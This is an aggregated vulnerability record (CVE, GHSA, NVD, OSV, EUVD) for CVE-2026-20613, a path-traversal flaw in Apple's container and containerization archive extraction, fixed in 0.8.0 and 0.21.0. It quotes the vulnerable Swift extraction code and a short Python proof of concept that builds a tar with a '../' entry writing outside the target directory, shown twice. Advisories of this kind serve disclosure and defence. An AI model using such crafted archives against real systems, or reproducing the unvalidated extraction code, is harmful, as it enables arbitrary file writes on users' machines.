{"id":"CVE-2026-20613","aliases":["EUVD-2026-4539","GHSA-cq3j-qj2h-6rv3"],"status":"published","title":"Container and Containerization archive extraction does not guard against escapes from extraction base directory.","description":"The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. This issue is addressed in container 0.8.0 and containerization 0.21.0.","severity":{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"adp","from":"cve"},"epss":{"day":"2026-11-12","score":0.00272,"percentile":0.19823,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-01-22T22:30:05Z","modified":"2026-10-24T10:51:09Z","fixes":[{"ecosystem":"SwiftURL","package":"github.com/apple/containerization","fixed_in":["0.21.0"],"sources":["ghsa","osv"]},{"ecosystem":"SwiftURL","package":"github.com/apple/container","fixed_in":["0.8.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"SwiftURL","package":"github.com/apple/containerization","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.20.1"},{"fixed":"0.21.0"}]}]},{"source":"ghsa","ecosystem":"SwiftURL","package":"github.com/apple/container","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.7.1"},{"fixed":"0.8.0"}]}]},{"source":"osv","ecosystem":"SwiftURL","package":"github.com/apple/containerization","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.21.0"}]}]},{"source":"osv","ecosystem":"SwiftURL","package":"github.com/apple/container","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.8.0"}]}]}],"products":[{"vendor":"apple","product":"container"},{"vendor":"apple","product":"containerization"}],"references":[{"url":"https://github.com/apple/containerization/security/advisories/GHSA-cq3j-qj2h-6rv3","tags":["Exploit","Vendor Advisory","evidence","web"]},{"url":"https://github.com/apple/containerization/commit/3e93416b9a6d7b4c25fff7e9dea22a9ca687ee52","tags":["web"]},{"url":"https://github.com/advisories/GHSA-cq3j-qj2h-6rv3"},{"url":"https://github.com/apple/containerization","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-20613","description":"The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. This issue is addressed in container 0.8.0 and containerization 0.21.0.","status":"published","published":"2026-01-22T23:58:20.556Z","modified":"2026-01-23T14:56:14.929Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"adp"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T13:35:55.731353Z"}],"euvd":[{"id":"EUVD-2026-4539","description":"The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. This issue is addressed in container 0.8.0 and containerization 0.21.0.","status":"published","published":"2026-01-22T23:58:20Z","modified":"2026-01-23T14:56:14Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T19:48:48.084617Z"}],"ghsa":[{"id":"GHSA-cq3j-qj2h-6rv3","title":"Container and Containerization archive extraction does not guard against escapes from extraction base directory.","description":"### Summary\nThe `ArchiveReader.extractContents()` function used by `cctl image load` and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.\n\n### Details\n\nThe code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.\n\n```swift\n    /// Extracts the contents of an archive to the provided directory.\n    /// Currently only handles regular files and directories present in the archive.\n    public func extractContents(to directory: URL) throws {\n        let fm = FileManager.default\n        var foundEntry = false\n        for (entry, data) in self {\n            guard let p = entry.path else { continue }\n            foundEntry = true\n            let type = entry.fileType\n            let target = directory.appending(path: p)\n            switch type {\n            case .regular:\n                try data.write(to: target, options: .atomic)\n            case .directory:\n                try fm.createDirectory(at: target, withIntermediateDirectories: true)\n            case .symbolicLink:\n                guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {\n                    continue\n                }\n                try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL)\n            default:\n                continue\n            }\n            chmod(target.path(), entry.permissions)\n            if let owner = entry.owner, let group = entry.group {\n                chown(target.path(), owner, group)\n            }\n        }\n        guard foundEntry else {\n            throw ArchiveError.failedToExtractArchive(\"no entries found in archive\")\n        }\n    }\n```\n\n### PoC\n\nSample script `make-evil-tar.py`:\n\n```python\n#! /usr/bin/env python3\n\nimport tarfile\nimport io\nimport time\n\ntar_path = \"evil.tar\"\n\n# Content of the file inside the tar\npayload = b\"pwned\\n\"\n\nwith tarfile.open(tar_path, \"w\") as tar:\n    info = tarfile.TarInfo(\n        name=\"../../../../../../../../../../../tmp/pwned.txt\"\n    )\n    info.size = len(payload)\n    info.mtime = int(time.time())\n    info.mode = 0o644\n\n    tar.addfile(info, io.BytesIO(payload))\n\nprint(f\"Created {tar_path}\")\n```\n\n\n```console\n% ./make-evil-tar.py\nCreated evil.tar\n% mv evil.tar /tmp\n% cd /tmp\n% ls pwned.txt\nls: pwned.txt: No such file or directory\n% ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar\nError: notFound: \"/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout\"\n% cat pwned.txt \npwned\n```\n\n### Impact\n\nAffects users of `cctl image load` in the containerization project, and any projects that depend on containerization and use the `extractContent()` function.\n\nAffects users of `container image load` in the container project.\n\nThese operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is **not** a privilege escalation, the affected files can only be written to already user-writable locations.","status":"published","published":"2026-01-22T22:30:05Z","modified":"2026-01-22T22:30:06Z","cvss":[{"version":"4.0","score":1.9,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"low"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:39:19.525691Z"}],"nvd":[{"id":"CVE-2026-20613","description":"The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. This issue is addressed in container 0.8.0 and containerization 0.21.0.","status":"published","published":"2026-01-23T00:15:52.283Z","modified":"2026-06-17T10:17:31.753Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:04.423757Z"}],"osv":[{"id":"CVE-2026-20613","description":"The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. This issue is addressed in container 0.8.0 and containerization 0.21.0.","status":"published","published":"2026-01-23T00:15:52.283Z","modified":"2026-10-24T10:51:09.981031031Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:44:58.42038Z"},{"id":"GHSA-cq3j-qj2h-6rv3","title":"Container and Containerization archive extraction does not guard against escapes from extraction base directory.","description":"### Summary\nThe `ArchiveReader.extractContents()` function used by `cctl image load` and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.\n\n### Details\n\nThe code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.\n\n```swift\n    /// Extracts the contents of an archive to the provided directory.\n    /// Currently only handles regular files and directories present in the archive.\n    public func extractContents(to directory: URL) throws {\n        let fm = FileManager.default\n        var foundEntry = false\n        for (entry, data) in self {\n            guard let p = entry.path else { continue }\n            foundEntry = true\n            let type = entry.fileType\n            let target = directory.appending(path: p)\n            switch type {\n            case .regular:\n                try data.write(to: target, options: .atomic)\n            case .directory:\n                try fm.createDirectory(at: target, withIntermediateDirectories: true)\n            case .symbolicLink:\n                guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {\n                    continue\n                }\n                try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL)\n            default:\n                continue\n            }\n            chmod(target.path(), entry.permissions)\n            if let owner = entry.owner, let group = entry.group {\n                chown(target.path(), owner, group)\n            }\n        }\n        guard foundEntry else {\n            throw ArchiveError.failedToExtractArchive(\"no entries found in archive\")\n        }\n    }\n```\n\n### PoC\n\nSample script `make-evil-tar.py`:\n\n```python\n#! /usr/bin/env python3\n\nimport tarfile\nimport io\nimport time\n\ntar_path = \"evil.tar\"\n\n# Content of the file inside the tar\npayload = b\"pwned\\n\"\n\nwith tarfile.open(tar_path, \"w\") as tar:\n    info = tarfile.TarInfo(\n        name=\"../../../../../../../../../../../tmp/pwned.txt\"\n    )\n    info.size = len(payload)\n    info.mtime = int(time.time())\n    info.mode = 0o644\n\n    tar.addfile(info, io.BytesIO(payload))\n\nprint(f\"Created {tar_path}\")\n```\n\n\n```console\n% ./make-evil-tar.py\nCreated evil.tar\n% mv evil.tar /tmp\n% cd /tmp\n% ls pwned.txt\nls: pwned.txt: No such file or directory\n% ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar\nError: notFound: \"/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout\"\n% cat pwned.txt \npwned\n```\n\n### Impact\n\nAffects users of `cctl image load` in the containerization project, and any projects that depend on containerization and use the `extractContent()` function.\n\nAffects users of `container image load` in the container project.\n\nThese operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is **not** a privilege escalation, the affected files can only be written to already user-writable locations.","status":"published","published":"2026-01-22T22:30:05Z","modified":"2026-02-03T03:09:10.409226Z","cvss":[{"version":"4.0","score":1.9,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"low"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:45.28161Z"}]}}
